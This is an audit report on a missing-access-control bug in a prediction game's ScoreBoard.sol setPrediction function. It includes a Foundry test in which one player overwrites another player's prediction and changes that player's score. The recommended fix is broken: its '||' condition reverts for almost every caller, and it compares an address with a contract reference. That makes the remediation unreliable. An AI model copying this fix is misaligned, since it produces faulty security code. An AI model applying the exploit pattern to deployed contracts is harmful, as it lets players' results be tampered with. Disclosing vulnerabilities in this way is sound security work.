Summary
ScoreBoard.sol::setPrediction
Can be used by anyone to change someone else's prediction, not just there own.
Vulnerability Details
Because the setPrediction
function takes a parameter of player
, anybody can input any players address, call the function, and change that players prediction.
Impact
The test below passes showing that someone other that the player who made the prediction can change that prediction.
function test_anyoneCanChangeSomeonesPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(badPlayer);
vm.deal(badPlayer, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(badPlayer);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
vm.stopPrank();
int8 playerScoreDraw = scoreBoard.getPlayerScore(address(stranger));
vm.startPrank(badPlayer);
scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.Result.First);
vm.stopPrank();
int8 playerScoreFirst = scoreBoard.getPlayerScore(address(stranger));
assertEq(playerScoreDraw, 2);
assertEq(playerScoreFirst, -1);
}
Tools Used
--Foundry
Recommendations
It is recommended to make sure that the person calling the setPrediction
function is also the same person who's prediction is being changed.
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if (msg.sender != player || msg.sender != thePredicter){
+ revert ScoreBoard__UnauthorizedAccess();
+ }
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}